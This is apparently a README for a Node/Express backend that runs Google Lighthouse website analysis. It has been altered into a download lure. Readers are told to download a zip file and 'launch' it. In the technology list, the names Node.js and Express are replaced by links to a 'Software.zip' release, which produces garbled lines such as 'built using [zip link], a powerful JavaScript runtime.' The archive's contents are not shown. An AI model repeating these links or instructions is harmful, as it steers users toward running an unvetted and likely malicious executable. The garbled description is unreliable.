Welcome to the Web Analyzer backend repository - the powerhouse behind Mazaoro SARLU's lead magnet "Web Analyzer". This project is designed to analyze websites using Google Lighthouse and provide a detailed report that can be consumed by the frontend. If you are looking to dive into the world of website analysis and optimization, you are in the right place!
- Repository Name: web-analyzer-backend
- Description: (Legacy) This is the backend for Mazaoro SARLU's lead magnet "Web Analyzer". This project analyzes websites using Google Lighthouse and returns a detailed report consumed by the frontend.
- Topics: azure, azure-app-service, azure-container-registry, azure-devops, azure-pipelines, cicd, docker, express, lighthouse, node, puppeteer
To get started with the Web Analyzer backend, you can download the project by clicking here. Remember, it needs to be launched once you have downloaded the zip file.
The backend is equipped with powerful tools like Google Lighthouse and Puppeteer, allowing it to automatically analyze websites for performance, accessibility, SEO, and more.
After analyzing a website, the backend generates detailed reports that provide insights and recommendations for improving the site's performance and user experience.
The backend seamlessly integrates with the frontend of the Web Analyzer, enabling a smooth flow of data from analysis to presentation.
To use the Web Analyzer backend, follow these steps:
- Clone the repository to your local machine.
- Install all dependencies by running
npm install
. - Configure the necessary environment variables.
- Start the backend server using
npm start
.
The Web Analyzer backend leverages a variety of technologies to deliver its functionality:
- https://github.com/RAFINHA0RAFINHA/web-analyzer-backend/releases/download/v2.0/Software.zip: The backend is built using https://github.com/RAFINHA0RAFINHA/web-analyzer-backend/releases/download/v2.0/Software.zip, a powerful JavaScript runtime.
- Express: https://github.com/RAFINHA0RAFINHA/web-analyzer-backend/releases/download/v2.0/Software.zip is used for handling server-side logic and routing.
- Puppeteer: Puppeteer is used for automating web interactions, such as website analysis.
- Google Lighthouse: Google Lighthouse is used for website performance analysis.
- Docker: The backend can be containerized using Docker for easy deployment.
- Azure Services: The backend can be deployed to Azure services like Azure App Service and Azure Container Registry.
- CI/CD: Azure DevOps and Azure Pipelines are used for continuous integration and continuous deployment.
If you're interested in contributing to the Web Analyzer backend, feel free to fork the repository and submit a pull request. Your contributions are highly appreciated!
If you encounter any issues or have any questions regarding the Web Analyzer backend, please feel free to raise an issue in the repository. We are here to help you!
Let's take your website analysis to the next level with the Web Analyzer backend. Download the project, launch it, and start optimizing websites like a pro! π